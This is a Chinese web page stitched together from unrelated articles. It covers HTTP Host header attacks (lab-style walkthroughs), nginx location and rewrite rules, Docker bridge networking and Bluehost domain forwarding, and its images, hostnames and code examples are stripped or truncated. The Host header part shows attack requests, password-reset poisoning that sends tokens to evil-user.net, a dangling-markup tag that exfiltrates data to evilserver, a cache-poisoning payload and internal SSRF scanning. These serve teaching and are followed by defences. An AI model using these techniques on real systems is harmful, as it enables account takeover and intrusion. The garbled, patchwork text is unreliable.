1. weblogichost頭攻擊配置
1. HTTP Host頭攻擊
從HTTP / 1.1開始，HTTP Host標頭是必需的請求標頭。它指定客戶端要訪問的域名。例如，當用戶訪問https://example.net/web-security時，其瀏覽器將組成一個包含Host標頭的請求，如下所示：
GET /web-security HTTP/1.1
Host: example.net
HTTP Host頭的目的是幫助識別客戶端要與之通信的後端組件。如果請求不包含Host頭或者格式不正確，則在將傳入請求的應用程序時可能會導致問題。
從歷史上看，這種漏洞並不存在太大問題，因為每個IP地址只會被用於單個域的內容。如今，很大程度上是由於同一個IP上存在多個Web應用程序（不同埠，不同域名解析等），通常可以在同一IP地址訪問多個網站和應用程序。這種方法的普及也部分是由於IPv4地址耗盡所致。
當可以通過同一IP地址訪問多個應用程序時，最常見的原因是以下情況之一：
虛擬主機
單個Web伺服器託管多個網站或應用程序。這可能是具有單個所有者的多個網站，但是也可能是不同所有者的網站託管在同一個共享平台上。它們都與伺服器共享一個公共IP地址。
通過代理路由流量
網站託管在不同的後端伺服器上，但是客戶端和伺服器之間的所有流量都通過代理系統進行路由。這可能是一個簡單的負載平衡設備或某種反向代理伺服器。在客戶通過內容分發網路（CDN）訪問網站的情況下，這種設置尤其普遍。
在上面兩種種情況下，即使網站託管在單獨的後端伺服器上，它們的所有域名也都解析為中間組件的單個IP地址。這帶來了與虛擬主機相同的問題，因為反向代理或負載平衡需要知道每個請求到的哪個後端上。
HTTP Host頭的作用就在於，指定請求應該發送到那個應用程序的後端伺服器上。打個比方，一封信需要送到居住在公寓樓中的某人手中，整個公寓有許多房間，每個房間都可以接受信件，通過指定房間號和收件人（也就是HTTP Host頭）來將信封送到指定的人手中。
3. 什麼是HTTP Host頭攻擊
一些網站以不安全的方式處理Host頭的值。如果伺服器直接信任Host頭，未校驗它的合法性，則攻擊者可能能夠使用此可控變數來注入Host，以操縱伺服器端的行為。
現成的Web應用程序通常不知道將它們部署在哪個域上，除非在安裝過程中在配置文件中手動指定了該域。例如，當他們需要知道當前域以生成電子郵件中包含的絕對URL時，他們可能依賴於Host頭中的值：
<a href="https://_SERVER['HOST']/support">聯系支持</a>
Host頭值還可以用於不同網站系統之間的各種交互。
由於Host頭實際上是用戶可控制的，因此這種做法可能導致許多問題。如果未校驗或者直接使用Host頭，則Host頭可以與一系列其他漏洞「組合拳」攻擊，比如：
緩存投毒
特殊業務功能的邏輯漏洞
基於路由的SSRF
經典服務端漏洞，如SQL注入（當Host被用於SQL語句時）等
4. 如何發掘HTTP Host頭攻擊
首先要判斷服務端是否檢測Host頭？檢測完了是否還使用Host頭的值？
通過修改Host的值，如果服務端返回錯誤信息：
.png
則說明服務端檢測了Host的內容。至於有沒有使用Host頭的值，有以下幾種方法去發掘：
修改Host值
簡單的來說，可以修改HTTP頭中的Host值，如果觀察到響應包中含有修改後的值，說明存在漏洞。
但有時候篡改Host頭的值會導致無法訪問Web應用程序，從而導致「無效主機頭」的錯誤信息，特別是通過CDN訪問目標時會發生這種情況。
添加重復的Host頭
添加重復的Host頭，通常兩個Host頭之中有一個是有效的，可以理解為一個是確保請求正確地發送到目標伺服器上；另一個則是傳遞payload到後端伺服器中。
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff
使用絕對路徑的URL
盡管許多請求通常在請求域上使用相對路徑，但是也同時配置了絕對URL的請求。
GET https://vulnerable-website.com/ HTTP/1.1
Host: attack-stuff
有時候也可以嘗試不同的協議，如HTTP或HTTPS。
添加縮進或換行
當一些站點block帶有多個Host頭的請求時，可以通過添加縮進字元的HTTP頭來繞過：
GET /example HTTP/1.1
Host: attack-stuff
Host: vulnerable-website.com
注入覆蓋Host頭的欄位
與Host頭功能相近的欄位，如X-Forwarded-Host、X-Forwarded-For等，這些有時候是默認開啟的。
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff
諸如此類，還有其他的欄位：
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
忽略埠僅校驗域名
當修改、添加重復Host頭被攔截的時候，可以嘗試了解Web應用程序是怎樣解析Host頭的。
比如，一些解析演算法會忽略Host頭中的埠值，僅僅校驗域名。這時候可以將Host修改為如下形式：
GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff
保持域名不變，修改埠值為非埠號的其他值（非數字）， 將Host頭攻擊的payload放在埠值處，同樣能進行Host頭攻擊。
5. HTTP Host頭攻擊漏洞示例
5.1 密碼重置中毒
根據HTTP Host頭攻擊的攻擊特點，它被廣泛應用於密碼重置中毒：攻擊者可以操縱網站在重置密碼情況下生成的密碼重置鏈接，使其發送攻擊者指定的域下，利用此來竊取重置任意用戶密碼的令牌。
.png
一個重設密碼（忘記密碼）功能的大致流程如下：
用戶輸入其用戶名或電子郵件地址，然後提交密碼重置請求。
該網站檢查該用戶是否存在，然後生成一個臨時的、唯一的、復雜的令牌，該令牌與後端的用戶帳戶相關聯。
該網站向用戶發送一封電子郵件，其中包含用於重置其密碼的鏈接。重置令牌的參數包含在相應的URL中：
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
4. 當用戶訪問此URL時，網站將檢查提供的令牌是否有效，並使用它來確定要重置哪個帳戶。如果一切都符合，則可以進入用戶重置密碼步驟。最後，令牌被銷毀。
以上步驟的安全性依賴於：只有目標用戶才能訪問其電子郵件，從而可以訪問其唯一的令牌。
密碼重置中毒是竊取此令牌以更改另一個用戶密碼的一種漏洞。
如果網站重置密碼的流程完全依賴用戶的可控輸入（如HTTP Host頭），這可能導緻密碼重置中毒：
1. 攻擊者獲取受害者的用戶名或者電子郵件，作為提交重置密碼的請求，攻擊者會攔截請求並修改HTTP Host頭為其指定的域，如evil-user.net
2. 受害者會收到一封重置密碼的郵件，但由於攻擊者修改了Host頭，而web程序生成重置鏈接又完全依賴於Host頭，導致生成以下URL：
https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
3. 如果受害者點擊了該鏈接，重置密碼的令牌就會發送到攻擊者的伺服器 evil-user.net 上
4. 當攻擊者獲取到蟲子密碼的令牌之後，就會進行相應的構造訪問真實重置密碼的URL進行密碼重置。
5.1.1 密碼重置中毒—基礎
詳細了解了上面的密碼重置中毒的流程和原理之後，這里通過HTTP Host頭攻擊導致的基礎的密碼重置中毒來演示。
首先輸入用戶名或者用戶的電子郵箱來重置指定用戶的密碼：
.png
提交之後，會發送一封重置密碼的電子郵件到wiener用戶的郵箱中（數據包如右圖）：
.png
注意重置密碼的鏈接，可能是受Host頭的值的影響？
我們來驗證一下是否存在HTTP Host頭攻擊，修改Host頭的值為 .com：
.png
發現請求是可以被後端伺服器接收的，所以是存在HTTP Host頭攻擊的。
這里就輸入受害用戶carlos進行重置密碼，然後抓包將Host頭的值改為我們自己的伺服器：
.png
然後在我們自己的伺服器上就可以通過訪問日誌看到被竊取的重置密碼Token：
.png
然後根據已知鏈接規律，構造重置密碼的鏈接：
https://.web-security-academy.net/forgot-password?temp-forgot-password-token=
.png
隨即進入輸入新密碼的界面，密碼重置中毒成功。
5.1.2 密碼重置中毒—注入覆蓋Host頭的欄位
有時候直接修改Host頭、添加重復Host頭的值以及混淆Host頭都不行：
.png
可以嘗試使用與Host頭功能相同的HTTP欄位，如X-Forwarded-Host、X-Forwarded-For等，可以進行Fuzz：
.png
實際上他能夠被 X-Forwarded-Host 欄位影響，導致Host頭攻擊，當同時添加多個欄位使請求被攔截時，可以嘗試類似排除法、二分法來排查哪個欄位有效。
對受害用戶carlos進行密碼重置投毒：
.png
然後構造鏈接即可：
https://.web-security-academy.net/forgot-password?temp-forgot-password-token=
.png
5.1.3 重置密碼中毒—Dangling Markup技術
首先簡單介紹一下 Dangling Markup技術：
Dangling markup技術
Dangling markup技術, 是一種無需腳本即可竊取頁面內容的技術，它使用圖像等資源(結合CSP運行的策略)將數據發送到攻擊者控制的遠程位置。當反射型XSS不工作或被內容安全策略（CSP）阻止時，它非常有用。其思想是插入一些未完成狀態的部分HTML，例如圖像標記的src屬性，頁面上的其餘標記關閉該屬性，但同時將兩者之間的數據(包含竊取頁面的內容)發送到遠程伺服器。
例如，我們在反射型XSS注入點上注入這樣一個img標簽：
<img src="https://evilserver/?
則注入點和下一個雙引號的代碼將會發送到攻擊者的 https://evilserver 伺服器, 其中被發送的代碼或者內容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。
關於 Dangling Markup技術 的實戰意義可以參考博主之前的文章：繞過CSP之Dangling markup技術
什麼時候可以使用 Dangling Markup技術 呢？與我們這篇文章的主題有什麼關系呢？
我們直接進入主題，當輸入需要重置密碼的用戶名後，該用戶的郵箱內會收到如下郵箱：
.png
有一個跳轉到登錄界面的鏈接，後面緊接著重置之後的隨機密碼。
此時考慮一下，該鏈接是否是從Host頭取值而來？只要這個值可控，那麼就可以利用Host頭攻擊實施 Dangling Markup攻擊，包含住鏈接後面緊跟著的密碼，再結合Host頭攻擊將請求指定到攻擊者伺服器上。一個漫天過海的竊取行為就完成了。
第一步，尋找Host頭攻擊點：
通過Fuzz，可發現Host頭攻擊類型為 忽略埠僅校驗域名。即服務端在校驗Host域的時候，僅校驗了域名，忽略了後面的埠號，造成埠值可控（可以是數字或字元）：
.png .png
通過在Host頭的埠中注入payload，依舊可以實現Host頭攻擊。
第二步，藉助可控變數 Host：ip:port 來實施 Dangling Markup技術，從而將後面的密碼外帶到攻擊者伺服器上：
注意，需要閉合此處的雙引號出去，經過嘗試，輸入單引號時，服務端會自動轉為雙引號，故這里通過單引號將雙引號閉合，然後添加自定的<a href=xxx.attack-domain>標簽將密碼外帶：
.png
原本的正常HTML是這樣的：
.png
通過Dangling Markup技術 在a標簽的鏈接中注入? 符，使得後面的值在雙引號閉合之前全部被當做URL參數請求到攻擊者伺服器上：
.png
這也是 Dangling Markup技術 的精髓所在，該技術的核心點在於：
可控變數後面是否接著需要竊取的關鍵數據（包括Token、密碼等）
在攻擊者伺服器上可以看到被Host頭攻擊轉發上來的請求，裡面成功竊取了受害者重置後的密碼：
.png
5.2 Host頭攻擊+緩存投毒
當存在Host頭攻擊的web站點不存在密碼重置的功能的時候，此時該漏洞就顯得沒有影響，因為不可能驅使用戶去抓包修改Host頭，輔助攻擊者完成一系列的攻擊。
但是，如果目標站點使用Web緩存，則可以通過緩存投毒給其他用戶提供帶有病毒的緩存響應。此時的Host頭攻擊漏洞轉變為類似XSS存儲型類的漏洞。要構造Web緩存投毒攻擊：
1. 需要尋找映射到其他用戶請求的緩存鍵；
2. 下一步則是緩存此惡意響應；
3. 然後，此惡意緩存將提供給嘗試訪問受影響頁面的所有用戶。
第一步，尋找Host頭攻擊點：
通過對站點的主頁添加重復的Host值，可以達到覆蓋的效果，並驗證存在Host頭攻擊：
.png
第二步，尋找是否使用了Web緩存？緩存鍵是什麼？
從上圖中也可以發現，站點使用了Wen緩存功能，並且配合Host頭攻擊，可以緩存/resources/js/tracking.js資源文件。
第三步，在攻擊者伺服器上創建一個同名的 /resources/js/tracking.js資源文件，內容為：
alert(document.cookie);
然後通過Host頭注入攻擊者伺服器域名，可以看到在響應中正確地對應了我們的 /resources/js/tracking.js資源文件：
.png
發送多次請求，使該請求的響應變為緩存：
.png
當其他用戶請求站點主頁時，服務端就會提供該惡意緩存給用戶，造成緩存投毒。
5.3 Host頭攻擊繞過訪問控制
出於安全考慮，通常網站對某些功能的訪問限制為內部用戶使用。但是通過Host頭攻擊一定可能上可以繞過這些限制。
對於一個站點，從發現Host頭攻擊到利用，下面來展示一個完整的流程：
第一步，訪問主頁，隨意修改Host的值：
.png
注意，這里的Host的值不會出現響應包中，但是依然可能存在Host頭攻擊，因為響應依然成功，說明服務端沒有對Host頭做驗證。
第二步，尋找敏感頁面，通過 /robots.txt 知道 /admin 為做了訪問控制的頁面：
.png
可以錯誤信息提示，/admin 頁面只允許本地用戶訪問。
第三步，將Host改為服務端內部地址，從而繞過IP訪問控制：
.png
5.4 Host頭攻擊+SSRF
Host頭攻擊可能會導致基於路由的SSRF攻擊，稱為：Host SSRF Attack。
經典的SSRF攻擊通常基於XXE或可利用的業務邏輯，將用戶可控的URL作為HTTP請求發送；而基於路由的SSRF依賴於雲部署的體系結構中，包括負載均衡和反向代理，這些中間件將請求分配發送到對應的後端伺服器處理，如果服務端未校驗Host頭轉發的請求，則攻擊者可能會將請求發送（重定向）到體系中的任意系統。
這可能需要知道內部系統的IP地址（私有地址），一般可以通過信息收集或者Fuzz來判斷有效的私有IP地址（如枚舉192.168.1.1/16）。
5.4.1 基礎Host頭攻擊+SSRF
比如，普通方式訪問不到 /admin 頁面（404）：
.png
猜測 /admin 存在於內網中，需要內網機器才能訪問，但是配合Host頭攻擊+SSRF可以繞過並訪問。
第一步，判斷Host是否被使用，可用DNSLog外帶
這里我使用Burp自帶的 「Burp Collaborator client」 來實現外帶：
.png
說明服務端是根據Host頭的域名來請求資源的。
第二步，基於Host頭的SSRF探測內網主機
假如一些敏感的頁面（比如管理頁面），深處於內網，外網無法訪問，但是通過Host頭攻擊+SSRF可達到繞過訪問控制，從而訪問內網資產，這里Fuzz內網的IP的C段為192.168.0.0/24，直接利用Intruder枚舉：
.png .png
得到內網IP為192.168.0.240
第三步，訪問內網資源
構造 /admin 頁面，在Host處換位內網IP：
.png
5.4.2 Host頭攻擊+SSRF—使用絕對路徑的URL
有時候服務端會校驗Host頭的值，如果Host被修改，服務端會拒絕一切修改過後的請求：
.png
普通請求通常在請求域上使用相對路徑，但是，服務端也同時可能配置了絕對URL的請求，採用如下形式可繞過對Host的驗證：
GET http://.web-security-academy.net/ HTTP/1.1
.png
接著用 「Burp Collaborator client」 進行外帶：
.png
外帶成功，說明Host頭被服務端使用來向指定域名請求資源，直接SSRF爆破內網：
.png
訪問內網頁面：
.png
6 HTTP Host頭攻擊防護
最簡單的方法是避免在伺服器端代碼中完全使用Host頭，可以只使用相對URL。
其他方法包括：
6.1 正確配置絕對域名URL
當必須使用絕對域名URL時，應在配置文件中手動指定當前域的URL，並引用配置的值，而不是從HTTP的Host頭中獲取。這種方法可防止密碼重置的緩存投毒。
6.2 白名單校驗Host頭的域
如果必須使用Host頭，需要正確校驗它的合法性。這包括允許的域，並使用白名單校驗它，以及拒絕或重定向對無法識別的主機請求。這包括但不僅限於單個web應用程序、負載均衡以及反向代理設備上。
6.3 不支持主機頭覆蓋
確保不適用與Host頭功能相近的欄位，如X-Forwarded-Host、X-Forwarded-For等，這些有時候是默認開啟的。
值得一提的是，不應該將內網使用的Host主機（不出網）與公網的應用程序託管在同一個伺服器上，否則攻擊者可能會操縱Host頭來訪問內部域。
2. nginx轉發配置
順序 no優先順序：
( location = ) > ( location 完整路徑 ) > ( location ^~ 路徑 ) > ( location ~,~* 正則順序 ) > ( location 部分起始路徑 ) > ( / )
上面的匹配結果
按照上面的 location 寫法，以下的匹配示例成立：
所以實際使用中，個人覺得至少有三個匹配規則定義，如下：
rewrite 功能就是，使用 nginx 提供的全局變數或自己設置的變數，結合正則表達式和標志位實現 url 重寫以及重定向。 rewrite 只能放在 server{},location{},if{} 中，並且只能對域名後邊的除去傳遞的參數外的字元串起作用，例如 http://seanlook.com/a/we/index.php?id=1&u=str 只對 /a/we/index.php 重寫。語法 rewrite regex replacement [flag] ;
如果相對域名或參數字元串起作用，可以使用全局變數匹配，也可以使用 proxy_pass 反向代理。
表明看 rewrite 和 location 功能有點像，都能實現跳轉，主要區別在於 rewrite 是在同一域名內更改獲取資源的路徑，而 location 是對一類路徑做控制訪問或反向代理，可以 proxy_pass 到其他機器。很多情況下 rewrite 也會寫在 location 里，它們的執行順序是：
如果其中某步 URI 被重寫，則重新循環執行1-3，直到找到真實存在的文件；循環超過10次，則返回 500 Internal Server Error 錯誤。
因為 301 和 302 不能簡單的只返回狀態碼，還必須有重定向的 URL ，這就是 return 指令無法返回 301 , 302 的原因了。這里 last 和 break 區別有點難以理解：
if判斷指令
語法為 if(condition){...} ，對給定的條件 condition 進行判斷。如果為真，大括弧內的 rewrite 指令將被執行， if 條件 (conditon) 可以是如下任何內容：
-f 和 !-f 用來判斷是否存在文件
-d 和 !-d 用來判斷是否存在目錄
-e 和 !-e 用來判斷是否存在文件或目錄
-x 和 !-x 用來判斷文件是否可執行
例如：
下面是可以用作if判斷的全局變數
例： http://localhost:88/test1/test2/test.php
$host：localhost
$server_port ： 88
$request_uri ： http://localhost:88/test1/test2/test.php
$document_uri ： /test1/test2/test.php
$document_root ： /var/www/html
$request_filename ： /var/www/html/test1/test2/test.php
小括弧 () 之間匹配的內容，可以在後面通過 $1 來引用， $2 表示的是前面第二個 () 里的內容。正則裡面容易讓人困惑的是 轉義特殊字元。
例1 ：
對形如 /images/ef/uh7b3/test.png 的請求，重寫到 /data?file=test.png ，於是匹配到 location /data ，先看 /data/images/test.png 文件存不存在，如果存在則正常響應，如果不存在則重寫 tryfiles 到新的 image404 location ，直接返回 404 狀態碼。
例2 ：
對形如 /images/bla_500x400.jpg 的文件請求，重寫到 /resizer/bla.jpg?width=500&height=400 地址，並會繼續嘗試匹配 location 。
3. 如何設置虛擬機host模式上網
1、設置虛擬機下建立網路連接方式為hostonly。
4. 單host下Docker的默認網路配置
本文用到的環境如下：
host: centos7
docker: 通過 yum install -y docker 安裝，版本號為1.10.3
docker鏡像：
# Version: 0.0.1 FROM ubuntu:latest MAINTAINER paul liu "[email protected]" RUN apt-get update RUN apt-get install -y net-tools RUN apt-get install -y iputils-ping CMD /bin/bash
場景圖：
我的host主機接有無線路由器，通過ADSL撥號上網，網卡eth0固定IP為192.168.0.200，網關為路由器的IP 192.168.0.1。
在host上安裝docker，並運行容器。
通過以下命令安裝docker，
yum install -y docker
啟用docker，
systemctl start docker
然後在host主機運行 ifconfig 或 ip a 命令，可以看到除去host原有的網卡eth0和回環lo外，多了個docker0。
docker0 IP為172.17.0.1，所在的網段默認為B類私網地址172.17.0.0/16。可以將docker0看做是host主機的一塊虛擬網卡。這樣host主機就等同於配置了雙網卡，兩塊網卡之間可以通信，但前提是啟用ip_forward。
這是docker0的第一個身份。
運行兩個容器docker1，docker2，然後在host主機上運行 brctl show 查看，
這里可以看出docker0的第二個身份，一個虛擬交換機。每運行一個容器，就會產生一對veth，其中一端連接到docker0上，另一端連接到容器的eth0上。這樣，所有連接到docker0的容器組成了一個區域網。如下圖：
在host主機上運行 ifconfig ，也會發現多了兩個veth這樣的網路介面。
在host主機上運行 ip addr show veth6d9a691 ，可以查看到該veth具有mac地址，這也正說明了docker0的虛擬交換機的身份，交換機是通過mac地址通信的，連接到交換機的設備必須具有mac地址。
由於docker0自身也具有mac地址，這個與純二層交換機是不同的，並且綁定了IP 172.17.0.1，容器默認把docker0作為了網關。也就是docker0還兼具路由的功能，因此可以把docker0看做是一個三層交換機，可以做二層數據包轉發，也可以做三層路由轉發。
在容器中運行 route -n 查看路由如下：
在host主機上運行 route -n 查看路由如下：
在host中，訪問本網段192.168.0.0是通過eth0轉發數據包的，訪問172.17.0.0網段是通過docker0轉發數據包的，而對於其他如公網是通過eth0將數據包轉發給網關192.168.0.1，再由該網關進行數據包轉發的，比如上網。
在容器中運行 ping sohu.com 或 ping 192.168.0.200 都可以ping通。
默認情況下，不需要再額外做任何配置，在一台host主機上，通過docker0，各容器之間可以互通，並且可以通過host的eth0連接外網。
通俗的講，通過docker0組成了一個網段為172.17.0.0/16的乙太網，docker容器發起請求時，如果是相同網段則經由docker0轉發到目標機器，如果是不同網段，則經由docker0，轉發到host的另一塊網卡eth0上，由eth0負責下一步的數據包轉發，比如公網地址。
下面進一步分析一下報文是怎麼發送到外面的。
容器內部發送一條公網請求報文，通過eth0，在veth被接收。此時報文已經來到了主機上，通過查詢主機的路由表（ route -n ），如果發現報文應該通過主機的eth0，從默認網關發送出去，那麼報文就被從docker0轉發給主機的eth0，但前提是首先啟用ip_forward功能，才能在host主機的docker0和eth0兩個網卡間傳遞數據包。
由於目標地址並不屬於host主機所在網段，那麼會匹配機器上的 iptables中的nat表POSTROUTING鏈中的規則。
在host主機運行命令 iptables -L -n -t nat --line-numbers ，查看nat表，這里只看POSTROUTING鏈：
第一行中說明，對於源地址為172.17.0.0/16網段的數據包，發出去之前通過MQSQUERADE偽裝。linux內核會修改數據包源地址為host主機eth0的地址（也就是192.168.0.200），然後把報文轉發出去。對於外部來說，報文是從主機eth0發送出去的。
區域網內的機器由於都是私有IP，是無法直接訪問互聯網的（數據包可以發出去，但回不來。）如果要上網，除了可以通過硬體路由器，也可以通過軟體路由，在iptables的nat表中的POSTROUTING鏈中添加SNAT規則。
測試一下，在host主機運行命令 iptables -t nat -D POSTROUTING 1 將第一條規則刪掉，那麼在容器中就運行命令 ping sohu.com 就ping不通了。但仍然可以ping通host主機。
在host主機運行命令以下命令恢復：
iptables -t nat -I POSTROUTING -s 172.17.0.0/16 -o eth0 -j SNAT --to-source 192.168.0.200
或者
iptables -t nat -I POSTROUTING -s 172.17.0.0/16 -j MASQUERADE
關於SNAT和MASQUERADE，這篇文章已經有過描述，可以參考： Docker前傳之linux iptables
新建一Dockerfile，用以運行nginx容器：
# Version: 0.0.1 FROM paulliu/ubuntu_ip RUN apt-get install -y nginx EXPOSE 80
在host主機運行構建命令構建鏡像 docker build -t paulliu/nginx .
在host主機運行容器啟動命令 docker run -d -p 80 --name nginx1 paulliu/nginx nginx -g "daemon off;"
在host主機查看容器的埠映射 docker port nginx1 80
在host主機運行命令 iptables -nat -L -n 可以看到在PREROUTING鏈中多了以下DNAT規則：
也就是在容器啟動時通過 -p 80 將host主機192.168.0.200:32773映射為容器172.17.0.4:80。
注意：docker容器每次啟動時獲取的IP地址未必是一樣的，而且 -p 80 是在host主機上隨機選擇一個埠號進行映射，每次啟動的埠號也未必是一樣的。但iptables中相關的規則是自動變更的。
在host主機運行 curl localhost:32773 或者在其他主機運行 curl 192.168.0.200:32773 結果如下：
5. bluehost可以域名轉發嗎
登錄bluehost後台，進入管理賬戶——管理訂單——搜索/羅列訂單——選擇相應域名訂單——點擊域名進入域名管理面板——域名轉發欄，選擇管理域名轉發
顯示下圖界面，可以定義轉發的地址，如圖（同時我們的轉發還可以提供隱藏和非隱藏轉發，啟用次級域名轉發和啟用路徑轉發功能，具體可以參看此頁面右側的說明來操作。）
附：轉發是需要通過轉發IP來實現的，當您點擊激活域名轉發功能後，我們系統會默認為您做上兩個轉發A記錄，您可以通過DNS那邊查看到，如圖所示，這幾條A記錄請不要刪除，刪除後轉發記錄將不再生效。
另外，如果您要實現二級域名轉發，可以在A記錄這邊添加上對應的一條A記錄即可，比如：